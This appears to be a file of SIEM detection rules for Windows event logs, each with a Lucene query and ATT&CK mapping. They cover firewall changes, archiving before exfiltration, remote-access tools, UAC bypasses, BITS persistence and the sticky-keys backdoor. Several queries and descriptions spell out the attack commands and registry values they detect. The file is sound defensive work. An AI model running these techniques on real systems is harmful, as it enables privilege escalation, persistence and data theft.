{"description":"Allow Incoming Connections by Port or Application on Windows Firewall Author: Markus Neis, Sander Wiebing. License: ","enabled":false,"false_positives":["Legitimate administration"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"f1f9adfc-b067-660b-aa24-5de3dc9dc0f5","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":35,"name":"Netsh Port or Application Allowed","query":"((process.executable:*\\\\netsh.exe AND process.command_line:*firewall* AND process.command_line:*add*) AND (NOT ((process.command_line:(*\\\\netsh.exe\\ advfirewall\\ firewall\\ add\\ rule\\ name\\=Dropbox\\ dir\\=in\\ action\\=allow\\ \\\"program\\=C\\:\\\\Program\\ Files\\ \$x86\$\\\\Dropbox\\\\Client\\\\Dropbox.exe\\\"\\ enable\\=yes\\ profile\\=Any* OR *\\\\netsh.exe\\ advfirewall\\ firewall\\ add\\ rule\\ name\\=Dropbox\\ dir\\=in\\ action\\=allow\\ \\\"program\\=C\\:\\\\Program\\ Files\\\\Dropbox\\\\Client\\\\Dropbox.exe\\\"\\ enable\\=yes\\ profile\\=Any*)))))","meta":{"from":"1m"},"severity":"medium","tags":["Defense Evasion","T1562"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0005","reference":"","name":"Defense Evasion"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1562","name":"Impair Defenses","reference":""}]}],"version":1,"references":[""]}
{"description":"An adversary may compress data (e.g., sensitive documents) that is collected prior to exfiltration in order to make it portable and minimize the amount of data sent over the network. Author: Timur Zinniatullin, E.M. Anhaus, oscd.community. License: ","enabled":false,"false_positives":["Highly likely if rar is a default archiver in the monitored environment."],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"6f3e2987-db24-4c78-a860-b4f4095a7095","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":5,"name":"Data Compressed - rar.exe","query":"(process.executable:*\\\\rar.exe AND process.command_line:*\\ a\\ *)","meta":{"from":"1m"},"severity":"low","tags":["T1560"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0009","reference":"","name":"Collection"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1560","name":"Archive Collected Data","reference":""}]}],"version":1,"references":[""]}
{"description":"An adversary may compress or encrypt data that is collected prior to exfiltration using 3rd party utilities Author: frack113. License: ","enabled":false,"false_positives":["Command line parameter combinations that contain all included strings"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"93ea7176-bd67-5890-6093-6a8d6b195efc","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":35,"name":"Compress Data and Lock With Password for Exfiltration With 7-ZIP","query":"(process.command_line:(*7z.exe* OR *7za.exe*) AND process.command_line:*\\ \\-p* AND process.command_line:(*\\ a\\ * OR *\\ u\\ *))","meta":{"from":"1m"},"severity":"medium","tags":["T1560"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0009","reference":"","name":"Collection"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1560","name":"Archive Collected Data","reference":""}]}],"version":1,"references":[""]}
{"description":"An adversary may compress or encrypt data that is collected prior to exfiltration using 3rd party utilities Author: frack113. License: ","enabled":false,"false_positives":["Unknown"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"ba703080-9820-bbf2-1b9e-3e4308731b81","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":35,"name":"Compress Data and Lock With Password for Exfiltration With WINZIP","query":"(process.command_line:(*winzip.exe* OR *winzip64.exe*) AND process.command_line:*\\-s\\\"* AND process.command_line:(*\\ \\-min\\ * OR *\\ \\-a\\ *))","meta":{"from":"1m"},"severity":"medium","tags":["T1560"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0009","reference":"","name":"Collection"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1560","name":"Archive Collected Data","reference":""}]}],"version":1,"references":[""]}
{"description":"An adversary may use legitimate desktop support and remote access software, such as Team Viewer, Go2Assist, LogMein, AmmyyAdmin, etc, to establish an interactive command and control channel to target systems within networks.\nThese services are commonly used as legitimate technical support software, and may be allowed by application control within a target environment.\nRemote access tools like VNC, Ammyy, and Teamviewer are used frequently when compared with other legitimate software commonly used by adversaries. (Citation: Symantec Living off the Land) \n Author: frack113. License: ","enabled":false,"false_positives":["Unknown"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"49474043-c871-cddc-9bcd-71cec3c349fd","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":35,"name":"Query to GoToAssist Remote Access Software Domain","query":"dns.question.name:*.getgo.com","meta":{"from":"1m"},"severity":"medium","tags":[],"to":"now","type":"query","threat":[],"version":1,"references":[""]}
{"description":"An adversary may use legitimate desktop support and remote access software, such as Team Viewer, Go2Assist, LogMein, AmmyyAdmin, etc, to establish an interactive command and control channel to target systems within networks.\nThese services are commonly used as legitimate technical support software, and may be allowed by application control within a target environment.\nRemote access tools like VNC, Ammyy, and Teamviewer are used frequently when compared with other legitimate software commonly used by adversaries. (Citation: Symantec Living off the Land) \n Author: frack113. License: ","enabled":false,"false_positives":["legitimate use"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"0a228469-7b38-0b31-72d6-796f8431b8c6","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":35,"name":"GoToAssist Temporary Installation Artefact","query":"file.path:*\\\\AppData\\\\Local\\\\Temp\\\\LogMeInInc\\\\GoToAssist\\ Remote\\ Support\\ Expert\\\\*","meta":{"from":"1m"},"severity":"medium","tags":["T1219"],"to":"now","type":"query","threat":[],"version":1,"references":[""]}
{"description":"An adversary may use legitimate desktop support and remote access software, such as Team Viewer, Go2Assist, LogMein, AmmyyAdmin, etc, to establish an interactive command and control channel to target systems within networks.\nThese services are commonly used as legitimate technical support software, and may be allowed by application control within a target environment.\nRemote access tools like VNC, Ammyy, and Teamviewer are used frequently when compared with other legitimate software commonly used by adversaries. (Citation: Symantec Living off the Land) \n Author: frack113. License: ","enabled":false,"false_positives":["legitimate use"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"1d3a79a4-f140-739d-596e-d2aa2d0b7858","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":35,"name":"ScreenConnect Temporary Installation Artefact","query":"file.path:*\\\\Bin\\\\ScreenConnect.*","meta":{"from":"1m"},"severity":"medium","tags":["T1219"],"to":"now","type":"query","threat":[],"version":1,"references":[""]}
{"description":"An adversary may use legitimate desktop support and remote access software, such as Team Viewer, Go2Assist, LogMein, AmmyyAdmin, etc, to establish an interactive command and control channel to target systems within networks.\nThese services are commonly used as legitimate technical support software, and may be allowed by application control within a target environment.\nRemote access tools like VNC, Ammyy, and Teamviewer are used frequently when compared with other legitimate software commonly used by adversaries. (Citation: Symantec Living off the Land) \n Author: frack113. License: ","enabled":false,"false_positives":["legitimate use"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"1b563cc1-bb00-2c60-2549-ce17b9459cee","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":35,"name":"Use of GoToAssist Remote Access Software","query":"(winlog.event_data.Description:\"GoTo\\ Opener\" OR Product:\"GoTo\\ Opener\" OR Company:\"LogMeIn,\\ Inc.\")","meta":{"from":"1m"},"severity":"medium","tags":["T1219"],"to":"now","type":"query","threat":[],"version":1,"references":[""]}
{"description":"An adversary may use legitimate desktop support and remote access software, such as Team Viewer, Go2Assist, LogMein, AmmyyAdmin, etc, to establish an interactive command and control channel to target systems within networks.\nThese services are commonly used as legitimate technical support software, and may be allowed by application control within a target environment.\nRemote access tools like VNC, Ammyy, and Teamviewer are used frequently when compared with other legitimate software commonly used by adversaries. (Citation: Symantec Living off the Land) \n Author: frack113. License: ","enabled":false,"false_positives":["legitimate use"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"231f94fb-4e65-12a8-5c6e-86f45e59b1cb","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":35,"name":"Use of ScreenConnect Remote Access Software","query":"(winlog.event_data.Description:\"ScreenConnect\\ Service\" OR Product:\"ScreenConnect\" OR Company:\"ScreenConnect\\ Software\")","meta":{"from":"1m"},"severity":"medium","tags":["T1219"],"to":"now","type":"query","threat":[],"version":1,"references":[""]}
{"description":"An adversary may use Radmin Viewer Utility to remotely control Windows device Author: frack113. License: ","enabled":false,"false_positives":["Unknown"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"5817e76f-4804-41e6-8f1d-5fa0b3ecae2d","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":65,"name":"Use Radmin Viewer Utility","query":"(winlog.event_data.Description:\"Radmin\\ Viewer\" OR Product:\"Radmin\\ Viewer\" OR winlog.event_data.OriginalFileName:\"Radmin.exe\")","meta":{"from":"1m"},"severity":"high","tags":["Lateral Movement","T1072"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0002","reference":"","name":"Execution"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1072","name":"Software Deployment Tools","reference":""}]},{"tactic":{"id":"TA0008","reference":"","name":"Lateral Movement"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1072","name":"Software Deployment Tools","reference":""}]}],"version":1,"references":[""]}
{"description":"An adversary might use WMI to check if a certain Remote Service is running on a remote device.\nWhen the test completes, a service information will be displayed on the screen if it exists.\nA common feedback message is that \"No instance(s) Available\" if the service queried is not running.\nA common error message is \"Node - (provided IP or default) ERROR Description =The RPC server is unavailable\" if the provided remote host is unreacheable\n Author: frack113. License: ","enabled":false,"false_positives":["Unknown"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"d41e37c7-9d43-3fdb-7cf8-87390179c3c9","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":35,"name":"WMI Reconnaissance List Remote Services","query":"(process.executable:*\\\\WMIC.exe AND process.command_line:*\\/node\\:* AND process.command_line:*service*)","meta":{"from":"1m"},"severity":"medium","tags":["T1047"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0002","reference":"","name":"Execution"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1047","name":"Windows Management Instrumentation","reference":""}]}],"version":1,"references":[""]}
{"description":"An adversary might use WMI to list Processes running on the compromised host or list installed Software hotfix and patches. Author: frack113. License: ","enabled":false,"false_positives":["Unknown"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"e64170ff-c1e8-54d9-7267-371268bc5878","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":35,"name":"Suspicious WMI Reconnaissance","query":"((process.executable:*\\\\WMIC.exe AND process.command_line:(*process* OR *qfe*)) AND (NOT (process.command_line:*call* AND process.command_line:*create*)))","meta":{"from":"1m"},"severity":"medium","tags":["T1047"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0002","reference":"","name":"Execution"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1047","name":"Windows Management Instrumentation","reference":""}]}],"version":1,"references":[""]}
{"description":"AnyDesk Remote Desktop silent installation can be used by attacker to gain remote access. Author: JÃ¡n TrenÄanskÃ½. License: ","enabled":false,"false_positives":["Legitimate deployment of AnyDesk"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"114e7f1c-f137-48c8-8f54-3088c24ce4b9","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":65,"name":"AnyDesk Silent Installation","query":"(process.command_line:*\\-\\-install* AND process.command_line:*\\-\\-start\\-with\\-win* AND process.command_line:*\\-\\-silent*)","meta":{"from":"1m"},"severity":"high","tags":["T1219"],"to":"now","type":"query","threat":[],"version":1,"references":[""]}
{"description":"AppInstaller.exe is spawned by the default handler for the URI, it attempts to load/install a package from the URL Author: frack113. License: ","enabled":false,"false_positives":["Unknown"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"d3a25fed-e3e3-8e8f-1852-3d8ae90c84cf","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":35,"name":"AppInstaller Attempts From URL by DNS","query":"(process.executable:C\\:\\\\Program\\ Files\\\\WindowsApps\\\\Microsoft.DesktopAppInstaller_* AND process.executable:*\\\\AppInstaller.exe)","meta":{"from":"1m"},"severity":"medium","tags":["T1105"],"to":"now","type":"query","threat":[],"version":1,"references":[""]}
{"description":"Application Virtualization Utility is included with Microsoft Office. We are able to abuse \"AppVLP\" to execute shell commands.\nNormally, this binary is used for Application Virtualization, but we can use it as an abuse binary to circumvent the ASR file path rule folder\nor to mark a file as a system file.\n Author: Sreeman. License: ","enabled":false,"false_positives":["unknown"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"b7555be0-ce2b-97d6-aa2d-e3b6a305b339","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":35,"name":"Using AppVLP To Circumvent ASR File Path Rule","query":"(winlog.channel:\"Security\" AND process.command_line:*appvlp.exe* AND process.command_line:(*cmd.exe* OR *powershell.exe*) AND process.command_line:(*.sh* OR *.exe* OR *.dll* OR *.bin* OR *.bat* OR *.cmd* OR *.js* OR *.msh* OR *.reg* OR *.scr* OR *.ps* OR *.vb* OR *.jar* OR *.pl* OR *.inf*))","meta":{"from":"1m"},"severity":"medium","tags":["Defense Evasion","T1218"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0005","reference":"","name":"Defense Evasion"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1218","name":"Signed Binary Proxy Execution","reference":""}]}],"version":1,"references":[""]}
{"description":"Atbroker executing non-deafualt Assistive Technology applications Author: Mateusz Wydra, oscd.community. License: ","enabled":false,"false_positives":["Legitimate, non-default assistive technology applications execution"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"f24bcaea-0cd1-11eb-adc1-0242ac120002","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":65,"name":"Suspicious Atbroker Execution","query":"((process.executable:*AtBroker.exe AND process.command_line:*start*) AND (NOT (process.command_line:(*animations* OR *audiodescription* OR *caretbrowsing* OR *caretwidth* OR *colorfiltering* OR *cursorscheme* OR *filterkeys* OR *focusborderheight* OR *focusborderwidth* OR *highcontrast* OR *keyboardcues* OR *keyboardpref* OR *magnifierpane* OR *messageduration* OR *minimumhitradius* OR *mousekeys* OR *Narrator* OR *osk* OR *overlappedcontent* OR *showsounds* OR *soundsentry* OR *stickykeys* OR *togglekeys* OR *windowarranging* OR *windowtracking* OR *windowtrackingtimeout* OR *windowtrackingzorder*))))","meta":{"from":"1m"},"severity":"high","tags":["Defense Evasion","T1218"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0005","reference":"","name":"Defense Evasion"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1218","name":"Signed Binary Proxy Execution","reference":""}]}],"version":1,"references":[""]}
{"description":"Attackers can use explorer.exe for evading defense mechanisms Author: Furkan CALISKAN, @caliskanfurkan_, @oscd_initiative. License: ","enabled":false,"false_positives":["Legitimate explorer.exe run from cmd.exe"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"9eb271b9-24ae-4cd4-9465-19cfc1047f3e","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":5,"name":"Proxy Execution Via Explorer.exe","query":"(process.executable:*\\\\explorer.exe AND process.parent.executable:*\\\\cmd.exe AND process.command_line:*explorer.exe*)","meta":{"from":"1m"},"severity":"low","tags":["Defense Evasion","T1218"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0005","reference":"","name":"Defense Evasion"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1218","name":"Signed Binary Proxy Execution","reference":""}]}],"version":1,"references":[""]}
{"description":"Attackers can use findstr to hide their artifacts or search specific strings and evade defense mechanism Author: Furkan CALISKAN, @caliskanfurkan_, @oscd_initiative. License: ","enabled":false,"false_positives":["Administrative findstr usage"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"bf6c39fc-e203-45b9-9538-05397c1b4f3f","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":35,"name":"Abusing Findstr for Defense Evasion","query":"(process.command_line:*findstr* AND ((process.command_line:*\\/V* AND process.command_line:*\\/L*) OR (process.command_line:*\\/S* AND process.command_line:*\\/I*)))","meta":{"from":"1m"},"severity":"medium","tags":["Defense Evasion","T1218"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0005","reference":"","name":"Defense Evasion"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1218","name":"Signed Binary Proxy Execution","reference":""}]}],"version":1,"references":[""]}
{"description":"Attackers can use print.exe for remote file copy Author: Furkan CALISKAN, @caliskanfurkan_, @oscd_initiative. License: ","enabled":false,"false_positives":["Unknown"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"bafac3d6-7de9-4dd9-8874-4a1194b493ed","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":35,"name":"Abusing Print Executable","query":"((process.executable:*\\\\print.exe AND process.command_line:print* AND process.command_line:*\\/D* AND process.command_line:*.exe*) AND (NOT (process.command_line:*print.exe*)))","meta":{"from":"1m"},"severity":"medium","tags":["Defense Evasion","T1218"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0005","reference":"","name":"Defense Evasion"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1218","name":"Signed Binary Proxy Execution","reference":""}]}],"version":1,"references":[""]}
{"description":"Attempts to access unattend.xml, where credentials are commonly stored, within the Panther directory where installation logs are stored.\nIf these files exist, their contents will be displayed. They are used to store credentials/answers during the unattended windows install process\n Author: frack113. License: ","enabled":false,"false_positives":["Unknown"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"16a6eda9-a7ff-5af0-e80f-f0a0a6f10b36","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":35,"name":"Suspicious Unattend.xml File Access","query":"file.path:*\\\\unattend.xml","meta":{"from":"1m"},"severity":"medium","tags":["Credential Access","T1552"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0006","reference":"","name":"Credential Access"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1552","name":"Unsecured Credentials","reference":""}]}],"version":1,"references":[""]}
{"description":"Attempts to detect PowerShell writing startup shortcuts. This procedure was highlighted in Red Canary Intel Insights Oct. 2021, \"We frequently observe adversaries using PowerShell to write malicious .lnk files into the startup directory to establish persistence. Accordingly, this detection opportunity is likely to identify persistence mechanisms in multiple threats. In the context of Yellow Cockatoo, this persistence mechanism eventually launches the command-line script that leads to the installation of a malicious DLL\" Author: Christopher Peacock '@securepeacock', SCYTHE. License: ","enabled":false,"false_positives":["Unknown","Depending on your environment accepted applications may leverage this at times. It is recomended to search for anomolies inidicative of malware."],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"53f99753-b94e-167e-3c94-8eb6f4819561","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":65,"name":"PowerShell Writing Startup Shortcuts","query":"(process.executable:*\\\\powershell.exe AND file.path:*\\\\start\\ menu\\\\programs\\\\startup\\\\* AND file.path:*.lnk)","meta":{"from":"1m"},"severity":"high","tags":["T1547"],"to":"now","type":"query","threat":[],"version":1,"references":[""]}
{"description":"Attempts to detect registry events for common NetWire key HKCU\\Software\\NetWire Author: Christopher Peacock. License: ","enabled":false,"false_positives":["No known false positives"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"9a64341d-8b13-f323-b48c-cd007d43d8e7","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":65,"name":"NetWire RAT Registry Key","query":"winlog.event_data.TargetObject:*\\\\software\\\\NetWire*","meta":{"from":"1m"},"severity":"high","tags":["Defense Evasion","T1112"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0005","reference":"","name":"Defense Evasion"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1112","name":"Modify Registry","reference":""}]}],"version":1,"references":[""]}
{"description":"Attempts to detect system changes made by Blue Mockingbird Author: Trent Liffick (@tliffick). License: ","enabled":false,"false_positives":["unknown"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"92425085-f5fa-c7b0-7cd0-ab30a2545edd","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":65,"name":"Blue Mockingbird","query":"((process.executable:*\\\\cmd.exe AND process.command_line:*sc\\ config* AND process.command_line:*wercplsupporte.dll*) OR (process.executable:*\\\\wmic.exe AND process.command_line:*COR_PROFILER))","meta":{"from":"1m"},"severity":"high","tags":["T1047","T1112"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0002","reference":"","name":"Execution"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1047","name":"Windows Management Instrumentation","reference":""}]}],"version":1,"references":[""]}
{"description":"Attempts to detect system changes made by Blue Mockingbird Author: Trent Liffick (@tliffick). License: ","enabled":false,"false_positives":["unknown"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"92425085-f5fa-c7b0-7cd0-ab30a2545edd","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":65,"name":"Blue Mockingbird","query":"winlog.event_data.TargetObject:*\\\\CurrentControlSet\\\\Services\\\\wercplsupport\\\\Parameters\\\\ServiceDll","meta":{"from":"1m"},"severity":"high","tags":["T1047","T1112"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0002","reference":"","name":"Execution"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1047","name":"Windows Management Instrumentation","reference":""}]}],"version":1,"references":[""]}
{"description":"Attempts to load dismcore.dll after dropping it Author: oscd.community, Dmitry Uchakin. License: ","enabled":false,"false_positives":["Pentests","Actions of a legitimate telnet client"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"a374a566-3077-260a-c34d-e3e5cd9b2d34","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":65,"name":"UAC Bypass With Fake DLL","query":"((process.executable:*\\\\dism.exe AND file.path:*\\\\dismcore.dll) AND (NOT (file.path:\"C\\:\\\\Windows\\\\System32\\\\Dism\\\\dismcore.dll\")))","meta":{"from":"1m"},"severity":"high","tags":["Defense Evasion","Privilege Escalation","T1548","T1574"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0003","reference":"","name":"Persistence"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1574","name":"Hijack Execution Flow","reference":""}]},{"tactic":{"id":"TA0004","reference":"","name":"Privilege Escalation"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1548","name":"Abuse Elevation Control Mechanism","reference":""},{"id":"T1574","name":"Hijack Execution Flow","reference":""}]},{"tactic":{"id":"TA0005","reference":"","name":"Defense Evasion"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1548","name":"Abuse Elevation Control Mechanism","reference":""},{"id":"T1574","name":"Hijack Execution Flow","reference":""}]}],"version":1,"references":[""]}
{"description":"Aversaries may use to interact with a remote network share using Server Message Block (SMB).\nThis technique is used by post-exploitation frameworks.\n Author: frack113. License: ","enabled":false,"false_positives":["Unknown"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"f56dc50c-5963-abf0-e145-d62177824d59","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":35,"name":"Writing Local Admin Share","query":"(file.path:*\\\\127.0.0* AND file.path:*\\\\ADMIN$\\\\*)","meta":{"from":"1m"},"severity":"medium","tags":["Lateral Movement","T1546"],"to":"now","type":"query","threat":[],"version":1,"references":[""]}
{"description":"BITS will allow you to schedule a command to execute after a successful download to notify you that the job is finished. When the job runs on the system the command specified in the BITS job will be executed. This can be abused by actors to create a backdoor within the system and for persistence. It will be chained in a BITS job to schedule the download of malware/additional binaries and execute the program after being downloaded Author: Sreeman. License: ","enabled":false,"false_positives":["None observed yet."],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"b9cbbc17-d00d-4e3d-a827-b06d03d2380d","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":35,"name":"Monitoring For Persistence Via BITS","query":"(process.command_line:/(?i).*bitsadmin.*\\/SetNotifyCmdLine.*(%COMSPEC%|cmd.exe|regsvr32.exe).*/ OR process.command_line:/(?i).*bitsadmin.*\\/Addfile.*(http|https|ftp|ftps):.*/)","meta":{"from":"1m"},"severity":"medium","tags":["Defense Evasion","T1197"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0005","reference":"","name":"Defense Evasion"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1197","name":"BITS Jobs","reference":""}]}],"version":1,"references":[""]}
{"description":"BlackByte set three different registry values to escalate privileges and begin setting the stage for lateral movement and encryption Author: frack113. License: ","enabled":false,"false_positives":["Unknown"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"461df8e3-268f-f290-4c28-d44365c828a8","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":65,"name":"Blackbyte Ransomware Registry","query":"(winlog.event_data.EventType:\"SetValue\" AND winlog.event_data.TargetObject:(\"HKLM\\\\SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Policies\\\\System\\\\LocalAccountTokenFilterPolicy\" OR \"HKLM\\\\SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Policies\\\\System\\\\EnableLinkedConnections\" OR \"HKLM\\\\SYSTEM\\\\CurrentControlSet\\\\Control\\\\FileSystem\\\\LongPathsEnabled\") AND winlog.event_data.Details:\"DWORD\\ \$0x00000001\$\")","meta":{"from":"1m"},"severity":"high","tags":["Defense Evasion","T1112"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0005","reference":"","name":"Defense Evasion"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1112","name":"Modify Registry","reference":""}]}],"version":1,"references":[""]}
{"description":"By replacing the sticky keys executable with the local admins CMD executable, an attacker is able to access a privileged windows console session without authenticating to the system. When the sticky keys are \"activated\" the privilleged shell is launched. Author: Sreeman. License: ","enabled":false,"false_positives":["Unknown"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"20101f91-d6f2-4453-ba73-d9d81994f8f7","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":35,"name":"Using Sticky-keys To Obtain Unauthenticated, Privileged Console Access","query":"process.command_line:\"copy\\ \\/y\\ C\\:\\\\windows\\\\system32\\\\cmd.exe\\ C\\:\\\\windows\\\\system32\\\\sethc.exe\"","meta":{"from":"1m"},"severity":"medium","tags":["Privilege Escalation","T1546"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0004","reference":"","name":"Privilege Escalation"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1546","name":"Event Triggered Execution","reference":""}]}],"version":1,"references":[""]}
{"description":"Bypasses User Account Control using a fileless method Author: frack113. License: ","enabled":false,"false_positives":["Unknown"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"2f6630b7-0acf-c293-5867-d928a6c7ba97","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":65,"name":"Bypass UAC Using DelegateExecute","query":"(winlog.event_data.EventType:\"SetValue\" AND winlog.event_data.TargetObject:*\\\\open\\\\command\\\\DelegateExecute AND winlog.event_data.Details:\"\$Empty\$\")","meta":{"from":"1m"},"severity":"high","tags":["Defense Evasion","Privilege Escalation","T1548"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0004","reference":"","name":"Privilege Escalation"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1548","name":"Abuse Elevation Control Mechanism","reference":""}]},{"tactic":{"id":"TA0005","reference":"","name":"Defense Evasion"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1548","name":"Abuse Elevation Control Mechanism","reference":""}]}],"version":1,"references":[""]}
{"description":"Bypasses User Account Control using Event Viewer and a relevant Windows Registry modification Author: frack113. License: ","enabled":false,"false_positives":["Unknown"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"c1968a53-fe14-0915-7649-924922d9d528","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":65,"name":"Bypass UAC Using Event Viewer","query":"((winlog.event_data.EventType:\"SetValue\" AND winlog.event_data.TargetObject:*_Classes\\\\mscfile\\\\shell\\\\open\\\\command\\\\\$Default\$) AND (NOT (winlog.event_data.Details:%SystemRoot%\\\\system32\\\\mmc.exe\\ \\\"%1\\\"\\ %*)))","meta":{"from":"1m"},"severity":"high","tags":["T1547"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0003","reference":"","name":"Persistence"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1547","name":"Boot or Logon Autostart Execution","reference":""}]}],"version":1,"references":[""]}
